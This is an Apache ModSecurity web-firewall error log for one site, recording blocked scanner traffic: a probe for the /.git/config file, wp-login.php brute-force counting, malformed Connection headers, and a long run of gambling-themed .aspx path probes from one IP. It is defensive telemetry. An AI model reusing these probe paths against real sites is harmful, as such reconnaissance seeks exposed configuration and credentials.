[Wed Apr 08 11:40:15.971325 2026] [:error] [pid 544:tid 549] [client 68.183.104.156:53818] [client 68.183.104.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "adXOHzieLKSoiLVA6Yfq0AAAAYA"]
[Wed Apr 08 12:45:18.035886 2026] [:error] [pid 12490:tid 12507] [client 101.32.208.70:47958] [client 101.32.208.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adXdXm1Fea4F4fbumr0l0AAAAM8"]
[Wed Apr 08 13:12:17.349843 2026] [:error] [pid 12385:tid 12401] [client 49.235.136.28:47434] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adXjsSAjtvRQEkLosq3yPwAAAAw"]
[Wed Apr 08 13:51:33.255384 2026] [:error] [pid 35642:tid 35650] [client 69.6.213.102:23412] [client 69.6.213.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.6.213.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adXs5Q-CqryxdEs5DN9AbwAAAEY"]
[Wed Apr 08 13:51:43.484726 2026] [:error] [pid 35642:tid 35645] [client 69.6.213.102:60960] [client 69.6.213.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.6.213.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adXs7w-CqryxdEs5DN9AmgAAAEE"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 08 14:25:00.781076 2026] [:error] [pid 12453:tid 12463] [client 95.217.109.26:63884] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adX0vBjtW7S6XsLPvrRM-wAAAIg"]
[Wed Apr 08 14:25:02.944789 2026] [:error] [pid 12385:tid 12405] [client 95.217.109.26:63896] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adX0viAjtvRQEkLosq0fygAAABA"]
[Wed Apr 08 14:25:05.028326 2026] [:error] [pid 12453:tid 12475] [client 95.217.109.26:63912] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "adX0wRjtW7S6XsLPvrRNFAAAAJQ"]
[Wed Apr 08 14:25:07.253088 2026] [:error] [pid 35642:tid 35665] [client 95.217.109.26:29600] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "adX0ww-CqryxdEs5DN9ztwAAAFU"]
[Wed Apr 08 14:25:09.362586 2026] [:error] [pid 12386:tid 12427] [client 95.217.109.26:29604] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "adX0xRLhhLtqHi2gK7V8JwAAAQs"]
[Wed Apr 08 14:25:11.657673 2026] [:error] [pid 12386:tid 12435] [client 95.217.109.26:29610] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "adX0xxLhhLtqHi2gK7V8SAAAARM"]
[Wed Apr 08 14:25:13.594916 2026] [:error] [pid 35642:tid 35653] [client 95.217.109.26:29622] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "adX0yQ-CqryxdEs5DN9z8AAAAEk"]
[Wed Apr 08 14:25:15.905160 2026] [:error] [pid 12453:tid 12468] [client 95.217.109.26:29624] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "adX0yxjtW7S6XsLPvrRNTwAAAI0"]
[Wed Apr 08 14:25:18.064714 2026] [:error] [pid 35642:tid 35663] [client 95.217.109.26:58906] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "adX0zg-CqryxdEs5DN90AQAAAFM"]
[Wed Apr 08 14:25:20.122943 2026] [:error] [pid 12490:tid 12500] [client 95.217.109.26:58918] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "adX00G1Fea4F4fbumr3CoAAAAMg"]
[Wed Apr 08 14:25:22.282231 2026] [:error] [pid 12386:tid 12430] [client 95.217.109.26:58922] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "adX00hLhhLtqHi2gK7V8gQAAAQ4"]
[Wed Apr 08 14:25:24.490605 2026] [:error] [pid 12385:tid 12413] [client 95.217.109.26:58936] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "adX01CAjtvRQEkLosq0gSwAAABg"]
[Wed Apr 08 14:25:26.716840 2026] [:error] [pid 35642:tid 35666] [client 95.217.109.26:17628] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "adX01g-CqryxdEs5DN90KQAAAFY"]
[Wed Apr 08 14:25:28.933117 2026] [:error] [pid 12490:tid 12508] [client 95.217.109.26:17630] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "adX02G1Fea4F4fbumr3C6gAAANA"]
[Wed Apr 08 14:25:31.237169 2026] [:error] [pid 12385:tid 12410] [client 95.217.109.26:17646] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "adX02yAjtvRQEkLosq0gYwAAABU"]
[Wed Apr 08 14:25:33.424871 2026] [:error] [pid 12490:tid 12505] [client 95.217.109.26:17656] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "adX03W1Fea4F4fbumr3DAgAAAM0"]
[Wed Apr 08 14:25:35.544146 2026] [:error] [pid 12490:tid 12516] [client 95.217.109.26:17664] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "adX0321Fea4F4fbumr3DHgAAANg"]
[Wed Apr 08 14:25:37.685646 2026] [:error] [pid 12490:tid 12514] [client 95.217.109.26:4350] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "adX04W1Fea4F4fbumr3DLgAAANY"]
[Wed Apr 08 14:25:39.759046 2026] [:error] [pid 12453:tid 12472] [client 95.217.109.26:4354] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "adX04xjtW7S6XsLPvrRNuAAAAJE"]
[Wed Apr 08 14:25:41.893757 2026] [:error] [pid 35642:tid 35666] [client 95.217.109.26:4366] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "adX05Q-CqryxdEs5DN90ewAAAFY"]
[Wed Apr 08 14:25:44.092562 2026] [:error] [pid 12453:tid 12474] [client 95.217.109.26:4382] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "adX06BjtW7S6XsLPvrRNzwAAAJM"]
[Wed Apr 08 14:25:46.205856 2026] [:error] [pid 12453:tid 12466] [client 95.217.109.26:4386] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "adX06hjtW7S6XsLPvrRN4wAAAIs"]
[Wed Apr 08 14:25:48.270547 2026] [:error] [pid 12386:tid 12434] [client 95.217.109.26:46814] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "adX07BLhhLtqHi2gK7V9BAAAARI"]
[Wed Apr 08 14:25:50.418316 2026] [:error] [pid 12453:tid 12463] [client 95.217.109.26:46826] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "adX07hjtW7S6XsLPvrRN-wAAAIg"]
[Wed Apr 08 14:25:52.403998 2026] [:error] [pid 12490:tid 12499] [client 95.217.109.26:46830] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "adX08G1Fea4F4fbumr3DewAAAMc"]
[Wed Apr 08 14:25:54.467390 2026] [:error] [pid 12453:tid 12459] [client 95.217.109.26:46836] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "adX08hjtW7S6XsLPvrROEAAAAIQ"]
[Wed Apr 08 14:26:45.120925 2026] [:error] [pid 12490:tid 12492] [client 95.217.109.26:44112] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "adX1JW1Fea4F4fbumr3FMQAAAMA"]
[Wed Apr 08 14:26:47.230303 2026] [:error] [pid 35642:tid 35647] [client 95.217.109.26:47350] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "adX1Jw-CqryxdEs5DN92WAAAAEM"]
[Wed Apr 08 14:26:49.400316 2026] [:error] [pid 12453:tid 12458] [client 95.217.109.26:47352] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "adX1KRjtW7S6XsLPvrRO6wAAAIM"]
[Wed Apr 08 14:26:51.408571 2026] [:error] [pid 35642:tid 35655] [client 95.217.109.26:47356] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "adX1Kw-CqryxdEs5DN92awAAAEs"]
[Wed Apr 08 14:26:53.540891 2026] [:error] [pid 35642:tid 35661] [client 95.217.109.26:47360] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "adX1LQ-CqryxdEs5DN92dQAAAFE"]
[Wed Apr 08 14:26:55.703778 2026] [:error] [pid 12490:tid 12497] [client 95.217.109.26:47376] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "adX1L21Fea4F4fbumr3FYAAAAMU"]
[Wed Apr 08 14:26:57.995472 2026] [:error] [pid 12386:tid 12425] [client 95.217.109.26:38544] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adX1MRLhhLtqHi2gK7V-LgAAAQk"]
[Wed Apr 08 14:27:00.147002 2026] [:error] [pid 12490:tid 12493] [client 95.217.109.26:38556] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "adX1NG1Fea4F4fbumr3FcQAAAME"]
[Wed Apr 08 14:27:02.399695 2026] [:error] [pid 12490:tid 12507] [client 95.217.109.26:38562] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adX1Nm1Fea4F4fbumr3FdgAAAM8"]
[Wed Apr 08 14:27:04.482821 2026] [:error] [pid 35642:tid 35651] [client 95.217.109.26:38568] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "adX1OA-CqryxdEs5DN92qQAAAEc"]
[Wed Apr 08 14:27:06.562061 2026] [:error] [pid 12490:tid 12493] [client 95.217.109.26:13578] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "adX1Om1Fea4F4fbumr3FjQAAAME"]
[Wed Apr 08 14:27:08.715184 2026] [:error] [pid 12386:tid 12428] [client 95.217.109.26:13584] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "adX1PBLhhLtqHi2gK7V-OwAAAQw"]
[Wed Apr 08 14:27:10.837109 2026] [:error] [pid 12490:tid 12497] [client 95.217.109.26:13592] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "adX1Pm1Fea4F4fbumr3FnQAAAMU"]
[Wed Apr 08 14:27:12.968407 2026] [:error] [pid 12385:tid 12403] [client 95.217.109.26:13602] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "adX1QCAjtvRQEkLosq0hnwAAAA4"]
[Wed Apr 08 14:27:14.953898 2026] [:error] [pid 35642:tid 35652] [client 95.217.109.26:13612] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "adX1Qg-CqryxdEs5DN92xwAAAEg"]
[Wed Apr 08 14:27:17.198326 2026] [:error] [pid 12386:tid 12434] [client 95.217.109.26:40692] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "adX1RRLhhLtqHi2gK7V-SQAAARI"]
[Wed Apr 08 14:27:19.341747 2026] [:error] [pid 12490:tid 12508] [client 95.217.109.26:40698] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adX1R21Fea4F4fbumr3FuQAAANA"]
[Wed Apr 08 14:27:21.478022 2026] [:error] [pid 12490:tid 12509] [client 95.217.109.26:40702] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "adX1SW1Fea4F4fbumr3FwwAAANE"]
[Wed Apr 08 14:27:23.566643 2026] [:error] [pid 12490:tid 12508] [client 95.217.109.26:40706] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "adX1S21Fea4F4fbumr3F0wAAANA"]
[Wed Apr 08 14:27:25.686046 2026] [:error] [pid 12386:tid 12425] [client 95.217.109.26:40720] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "adX1TRLhhLtqHi2gK7V-VQAAAQk"]
[Wed Apr 08 14:27:27.888620 2026] [:error] [pid 12453:tid 12476] [client 95.217.109.26:64676] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "adX1TxjtW7S6XsLPvrRPKwAAAJU"]
[Wed Apr 08 14:27:29.954182 2026] [:error] [pid 35642:tid 35647] [client 95.217.109.26:64690] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adX1UQ-CqryxdEs5DN93CwAAAEM"]
[Wed Apr 08 14:27:32.156302 2026] [:error] [pid 12453:tid 12460] [client 95.217.109.26:64698] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "adX1VBjtW7S6XsLPvrRPQAAAAIU"]
[Wed Apr 08 14:27:34.229704 2026] [:error] [pid 12490:tid 12515] [client 95.217.109.26:64700] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "adX1Vm1Fea4F4fbumr3GDwAAANc"]
